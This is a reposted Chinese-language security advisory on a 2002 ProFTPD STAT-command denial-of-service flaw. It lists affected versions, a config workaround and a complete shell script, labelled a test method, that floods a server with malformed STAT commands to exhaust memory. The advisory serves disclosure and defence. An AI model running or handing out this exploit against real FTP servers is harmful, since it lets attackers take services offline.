ProFTPD STAT命令遠程拒絕服務的攻擊漏洞

來源:互聯網
上載者:User
發布日期:2002-12-09
更新日期:2002-12-16

受影響系統:

ProFTPD Project ProFTPD 1.2.7 rc3
ProFTPD Project ProFTPD 1.2.7 rc2
ProFTPD Project ProFTPD 1.2.7 rc1
ProFTPD Project ProFTPD 1.2.6
ProFTPD Project ProFTPD 1.2.5
ProFTPD Project ProFTPD 1.2.4
ProFTPD Project ProFTPD 1.2.3
ProFTPD Project ProFTPD 1.2.2
ProFTPD Project ProFTPD 1.2.1
    - Linux系統  
    - Unix系統

描述:


BUGTRAQ  ID: 6341

ProFTPD是一款開放原始碼FTP服務程式。

ProFTPD不正確處理畸形STAT命令,遠程攻擊者可以利用這個漏洞對FTP服務程式進行拒絕服務的攻擊,使其停止回應。

攻擊者如果向ProFTPD服務程式提交包含多個'/*'字元作為參數的STAT命令,會導致FTP服務崩潰,產生拒絕服務現象。

<*來源:b klein Gunnewiek (rmkleing@hio.hen.nl)
  
  連結:http://marc.theaimsgroup.com/?l=bugtraq&m=103963830009198&w=2
*>

測試方法:


警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
b klein Gunnewiek (rmkleing@hio.hen.nl)提供了如下測試方法:

#!/bin/sh
#
# proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
# might work against many other FTP daemons
# consumes nearly all memory and alot of CPU
#
# tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
#
# 7-dec-02 - detach  -  www.duho.org
#
# use: ./prodos.sh # do this some more to make sure the system eventually dies

cnt=25
while [ $cnt -gt 0 ] ; do
ftp -n << EOF&
o $1
quote user $2
quote pass $3
quote stat /*/*/*/*/*/*/*
quit
EOF
let cnt=cnt-1
done
sleep 2
killall -9 ftp
echo DONE!

#end

建議:


臨時解決方案:

如果您不能立刻安裝補丁或者升級,NSFOCUS建議您採取以下措施以降低威脅:

* 在'proftpd.conf'檔案中增加如下一行:

DenyFilter /*.*/

不過沒有得到證實。

廠商補丁:

ProFTPD Project
---------------
目前廠商還沒有提供補丁或者升級程式,我們建議使用此軟體的使用者隨時關注廠商的首頁以擷取最新版本:

http://www.proftpd.org/

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.